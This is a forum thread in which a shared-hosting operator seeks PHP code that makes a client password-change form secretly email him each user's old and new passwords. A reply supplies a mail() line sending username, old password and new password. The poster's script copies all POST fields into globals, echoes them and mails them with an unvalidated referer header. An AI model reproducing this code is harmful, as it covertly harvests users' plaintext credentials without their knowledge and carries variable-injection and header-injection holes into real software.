Multiple actions from a form?

[Anon]

Hello,

Maybe someone can help.
I would like to create a form that has 2 Actions from using 1 submit button. Possibly there is a php solution for this or a combination of methods.

Basically the form I have allows users to change a password on a web hosting account, although because I do not have "root access" to the server as it's a shared hosting arrangement, I would like the form to auto email me at the time a user changes their password...Any ideas??

Currently the form uses the following check and post method:

<form action="changepass.html" method="post" onsubmit="return CheckForm()">

<script language="JavaScript"><!--

// Checks the NAME field.
function CheckForm()
{
var str = document.forms[0].elements[1].value;
var str2 = document.forms[0].elements[2].value;
var str3 = document.forms[0].elements[0].value;
if (str3 == "")
{
alert("The Old Password field is blank.\n\nPlease enter your Password.")
document.forms[0].elements[0].select();
document.forms[0].elements[0].focus();
return false;
}
if (str == "")
{
alert("The New Password field is blank.\n\nPlease enter your Password.")
document.forms[0].elements[1].select();
document.forms[0].elements[1].focus();
return false;
}
if (str.length < 5)
{
alert("The New Password must be at least 5 characters.")
document.forms[0].elements[1].select();
document.forms[0].elements[1].focus();
return false;
}
if (str != str2)
{
alert("The New Password fields don't match.")
document.forms[0].elements[1].select();
document.forms[0].elements[1].focus();
return false;
}
return true;
}

// --></script>

After the form is submitted and goes to changepass.html have it then send you an email at the beginning of that file saying that a password change has happened.

That is what I want it to do, also informing what the password was and what it has been changed to..

Please tell me "how would I do this"
If you know, can you provide the code?

your form needs to go to a php script so that you can use the mail() function to send an email, When you get to this script at the top you are going to do something like the following

$message = "Username=$username\nOld password=$oldpassword\nNew password=$newpassword";

mail('[e-mail]',"subject", $message);

When I have the form going to a script, the form information returns via email correctly. Although how can I make the original form entries go the original html file?
I have tried changing the form to a php file with the script code included and although an email is sent, this is without the information I want?

Basically I want the script to "intercept" the change between the form and it's destination, in turn emailing me the information.

The script information I'm using is as follows:
(note:$HTTP_REFERER is in the MailFromAddress so I can identify the client making the change)

<?
$MailToAddress = "[e-mail]";
$MailSubject = "Client Password Change";
if (!$MailFromAddress) {
$MailFromAddress = "$HTTP_REFERER";
}
$Header = "";
$Footer = "";
?>

<?
if (!is_array($HTTP_POST_VARS))
return;
reset($HTTP_POST_VARS);
while(list($key, $val) = each($HTTP_POST_VARS)) {
$GLOBALS[$key] = $val;
$val=stripslashes($val);
echo "<b>$key</b> = $val<br>";
$Message .= "$key = $val\n";
}

if ($Header) {
$Message = $Header."\n\n".$Message;
}

if ($Footer) {
$Message .= "\n\n".$Footer;
}

mail( "$MailToAddress", "$MailSubject", "$Message", "From: $MailFromAddress");
?>

Any help is very much appreciated, I'm completely new to php, but I'm sure the solution I'm looking for is with this code!
